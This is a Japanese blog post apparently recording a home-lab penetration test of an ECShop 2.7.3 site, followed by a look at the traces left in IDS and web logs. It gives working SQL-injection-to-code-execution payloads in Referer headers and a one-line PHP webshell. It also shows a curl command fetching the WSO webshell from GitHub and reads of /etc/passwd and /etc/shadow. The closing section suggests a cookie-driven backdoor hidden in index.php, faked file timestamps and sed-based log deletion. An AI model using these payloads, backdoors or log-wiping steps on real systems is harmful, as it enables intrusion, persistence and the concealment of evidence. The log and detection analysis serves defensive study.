ペネトレ検証-ECサイトに侵入

しゅーとです。
家にADの検証環境を立てたので、一連のペネトレーションテストの練習をします。
また、攻撃後にブルーチーム目線で攻撃の痕跡がどう残っているかも確認します。
今回は初期侵入フェーズとしてECサイトへの侵入です。 エクスプロイトとバックドアの作成をやっていきます。
なお今回はIDSとして申し訳程度にSuricataを立てていますが、デフォルトのポリシーだし正直検知できるとは思っていません。
自作自演のため妙に察しがいいかもしれませんが、それはご愛嬌。
バックグラウンド
- ターゲット組織はDMZでECサイトを運用している
- DMZから社内LANに接続可能(きょうびそんな構成あるんかいな)
- OPNSenseでSuricataを立ててIDSモードで運用している(DMZ/社内LANを監視)
- 攻撃者はターゲット組織がECサイトを運営していることを知っている
- IPアドレスは 192.168.2.24:80 ということも把握済み
今回は初期侵入フェーズとしてECサイトへの侵入です。
侵入
偵察
192.168.2.24:80 にアクセスします。

ECShopが立ち上がっています。(中国語・・・) ECShopは中国で流行っているらしいECサイトアプリケーションで、 色々なバージョンでSQLインジェクションの脆弱性があることが知られています。
ソースコードを確認し、バージョンを調べます。

画像の通り、2.7.3 が使われていました。
ECShop 2.7.3 には SQLインジェクションと、それを起因とする RCE の脆弱性が存在するようです。
Exploit
https://github.com/vulhub/vulhub/tree/master/ecshop/xianzhi-2017-02-82239600
上記URL記載のPoCを参考に、phpinfo()を実行するペイロードを作成します。
$ php makePayload.php "phpinfo ();"
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
上記のようなRefererヘッダを付与して「192.168.2.24/user.php?act=login」に送信。

phpinfoが実行され、攻撃が成功したことがわかります。
次に、OSコマンドも実行できるかを確認します。
$ php makePayload.php "passthru ('expr 123 + 123')"
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:139:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b70617373746872750928276578707220313233202b2031323327292f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
レスポンス。
exprコマンドで 123 + 123 が計算されていることから、OSコマンドが実行できてますね。
バックドア作成
この脆弱性のみを使って侵害を拡大するのはペイロード作成が面倒くさいのでバックドアを作成することにしましょう。
バックドアを作成するにあたり、とりあえず3つの選択肢が浮かびました。
-
php webshellを作成
- FWの制約を受けない
- 痕跡が非常に残りやすい(アクセスログ、エラーログ)
- ファイルを新規作成するためファイルシステムレベルでの痕跡の抹消が困難。
- 公開ディレクトリの書き込み権限がない可能性がある(あんまりないと思うけど)
-
bind tcp
- FWの制約を非常に受けやすい。
- FWで公開ポートを制限してたら無理。普通の組織なら制限してる
- プロセスを終了してしまえば痕跡は残りにくい
- FWの制約を非常に受けやすい。
-
reverse tcp
- bind tcpよりはFWの制約を受けづらい
- ただセキュアな運用なら内外SYNパケットを制限してるかも
- 攻撃者側で、待受できるグローバルIPを持つホストを用意する必要がある
- プロセスを終了してしまえば痕跡は残りにくい
- bind tcpよりはFWの制約を受けづらい
それぞれメリットデメリットがありますが、今回は一番成功率が高いと思われる1のwebshell作成を選びました。
ペイロードにドット(.)が使えない問題
バックドア作成のためにペイロードを調査していたところ、こちらで渡した文字列のなかでドット(.)が「’][’」に置き換わってしまうことがわかりました。
$ php makePayload.php "print(\"test.txt\");"
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:121:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b7072696e742822746573742e74787422293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca

これは本脆弱性の原因となった、ECShopのselect関数(とget_val)の処理によるものと考えます。
get_valをみるとドット(.)の他に “[”, “|”, “.$“とかもダメそうです。
ドット(.)が使えないと .php ファイルが作れないので辛いです。
ただ、これはドット(.)をbase64エンコードしたものを渡してbase64_decodeさせれば回避できました。
$ php makePayload.php 'print(base64_decode("dGVzdC50eHQ="));'

簡易的なバックドアの設置
文字の問題はクリアしたのでバックドアを設置します。
以下のコードをbase64エンコードします。
file_put_contents('cmd.php','<?php passthru($_GET["cmd"]); ?>')
エンコードしたものをassertに渡して評価させるように。
$ php makePayload.php 'assert(base64_decode("ZmlsZV9wdXRfY29udGVudHMoJ2NtZC5waHAnLCc8P3BocCBwYXNzdGhydSgkX0dFVFsiY21kIl0pOyA/Picp"));'
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:305:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528225a6d6c735a56397764585266593239756447567564484d6f4a324e745a4335776148416e4c4363385033426f6343427759584e7a644768796453676b58306446564673695932316b496c30704f79412f506963702229293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
生成したペイロードをサーバに送信します。
送信後、cmd.phpを叩いてみます。uname -aを実行してみましょう。

uname -a の結果が表示できています。
ちなみにphpはwww-dataユーザで動いているので/etc/shadowは見られませんでした。
リッチなバックドアの設置
簡易バックドアで調査をした過程で、curlでインターネットに出られる(内外のSYNパケットが許可されている)ことがわかったので、githubからWSOを持ってくることにしました。
WSO(Web Shell by oRb)は有名な多機能php webshell実装で、ベストセラーです。
GET /cmd.php?cmd=curl%20-o%20wso.php%20https://raw.githubusercontent.com/tennc/webshell/master/php/wso/wso-4.2.5.php HTTP/1.1
上記のgithubに置かれているwsoの管理者パスワードはadminです。
※本当にただのWSOなのか怪しい所があるので、検証時の取扱には気をつけてください。

WSOのコンソール
だいぶ便利になりました。
次はこのサーバからAD環境へ侵害を広げていく予定です。
攻撃の痕跡
IDSの検知
Suricataのログを確認しましたが、Exploitには全く反応がありませんでした。
それっぽいの"SELECT 1,“と"UNION"だけなので厳しいかもしれませんね。
ただWSOの設置周りで通信を1件だけ検知してくれていました。
(2019/05/11 追記)
すいません。バックドア周りで色々検知してくれました。(Exploitは相変わらず反応なし)
OPNSenseが設定を更新するときsuricata.yamlをデフォに戻すようで、HOME_NET周りの設定が全部飛んでしまっていたようです。
今はOPNSenseのコードを変えて設定を維持するようにしたので改善済みです。
minimal backdoorのOSコマンド、WSOログイン時レスポンスではちゃんと検知してくれました。
-
ET WEB_SERVER Exploit Suspected PHP Injection Attack (cmd=)
-> minimal backdoorのパラメータ名をcmdにしたため検知してくれました。 -
ET ATTACK_RESPONSE WSO - WebShell Activity - WSO Title
-> WSOのトップ画面のソースコードで検知してくれました。
(2019/05/11 追記終わり)
アクセスログ
Exploitation
この脆弱性を突く攻撃は、Refererにペイロードが入るちょっと珍しいものです。
一般的なログフォーマットならRefererは記録されるため、攻撃内容がログに残ります。
192.168.2.22 - - [10/May/2019:19:59:27 +0000] "GET /user.php?act=login HTTP/1.1" 200 10660 "554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:305:\"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528225a6d6c735a56397764585266593239756447567564484d6f4a324e745a4335776148416e4c4363385033426f6343427759584e7a644768796453676b58306446564673695932316b496c30704f79412f506963702229293b2f2f7d787878,10-- -\";s:2:\"id\";s:11:\"-1' UNION/*\";}554fcae493e564ee0dc75bdf2ebf94ca" "-"
minimal backdoor
適当に作ったクソザコなwebshellなので、コマンド実行の処理は「passthru(_$GET[“cmd”])」 になっています。
なので実行したコマンドがアクセスログのクエリストリング部に完全に残ります。
192.168.2.22 - - [10/May/2019:20:00:05 +0000] "GET /cmd.php?cmd=whoami HTTP/1.1" 200 186 "-" "-"
192.168.2.22 - - [10/May/2019:20:00:10 +0000] "GET /cmd.php?cmd=w HTTP/1.1" 200 341 "-" "-"
192.168.2.22 - - [10/May/2019:20:00:26 +0000] "GET /cmd.php?cmd=uname%20-a HTTP/1.1" 200 299 "-" "-"
192.168.2.22 - - [10/May/2019:20:00:38 +0000] "GET /cmd.php?cmd=ip%20a HTTP/1.1" 200 692 "-" "-"
192.168.2.22 - - [10/May/2019:20:01:14 +0000] "GET /cmd.php?cmd=curl%20https://www.shutingrz.com/ HTTP/1.1" 200 25755 "-" "-"
192.168.2.22 - - [10/May/2019:20:02:23 +0000] "GET /cmd.php?cmd=cat%20/etc/passwd HTTP/1.1" 200 1400 "-" "-"
192.168.2.22 - - [10/May/2019:20:02:33 +0000] "GET /cmd.php?cmd=cat%20/etc/shadow HTTP/1.1" 200 177 "-" "-"
192.168.2.22 - - [10/May/2019:20:03:16 +0000] "GET /cmd.php?cmd=curl%20-o%20wso.php%20https://raw.githubusercontent.com/tennc/webshell/master/php/wso/wso-4.2.5.php HTTP/1.1" 200 177 "-" "-"
WSO
ファイル名が特徴的(自業自得ですが)なものの、ペイロードはPOSTデータ部に入るので何が行われたかはわかりません。
192.168.2.22 - - [10/May/2019:20:04:06 +0000] "GET /wso.php HTTP/1.1" 200 478 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36"
192.168.2.22 - - [10/May/2019:20:04:10 +0000] "POST /wso.php HTTP/1.1" 200 8099 "http://192.168.2.24/wso.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36"
192.168.2.22 - - [10/May/2019:20:04:10 +0000] "GET /wso.php HTTP/1.1" 200 8020 "http://192.168.2.24/wso.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36"
192.168.2.22 - - [10/May/2019:20:04:27 +0000] "POST /wso.php HTTP/1.1" 200 5370 "http://192.168.2.24/wso.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36"
エラーログ
cmd.phpで2回curlを実行した際のプログレス表示が残っていました。
また、/etc/shadowの閲覧失敗エラーが残っていました。
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
0 0 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0
100 25510 100 25510 0 0 16413 0 0:00:01 0:00:01 --:--:-- 16405
cat: /etc/shadow: Permission denied
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
0 0 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0
2 79753 2 1917 0 0 865 0 0:01:32 0:00:02 0:01:30 865
100 79753 100 79753 0 0 35753 0 0:00:02 0:00:02 --:--:-- 35747
sh: 1: -t: not found
検知回避・痕跡抹消へのアクション
だいぶ自由に暴れたので、痕跡がいっぱい残っていますね。
以下を行えば痕跡は残りにくそうです。
- 初期侵入のためのバックドアはreverse tcp にする
- ただreverse tcpだと永続化にはならないので何らかの永続化手段が必要
- 普通にbashとかを平文で流すとOSコマンド次第で検知されそうなので、ncとかがあればmeterpreterを注入すればよさそう
- index.php(ECShopそのもの)に永続化用のバックドアを仕込む。
- 途中で assert(gzinflate(base64_decode(_COOKIE[“q”]))) みたいなコード混ぜれば良さそう。
- Cookieならアクセスログにも残らないし、IDSによってはセレクタ的にPOSTデータより甘そう。
- 仕込んだあとは一気に他のファイルもまとめてtouchし、ファイルスタンプを揃えておく。
- このアプローチなら少なくともアプリケーションがアップデートされるまでは有効。 より長く侵害したければ、cronとか、一か八かでユーザの.loginにダウンローダを仕込むとか?
- curl は -s オプションをつけろ。
- アクセスログ、エラーログから痕跡を削除しておく
- アクセスログはsedで送信元IPアドレス単位でまとめて削除するといいかも。
ブルーチームは上記アクションの対抗策を考えないといけないですね。運用負荷が・・・。
(2019/05/13 追記) 続きの記事を書きました。 [ペネトレ検証-権限昇格とWildcard Injectionの原理](/post/ad_hack-linux_priv_escalation/)以上。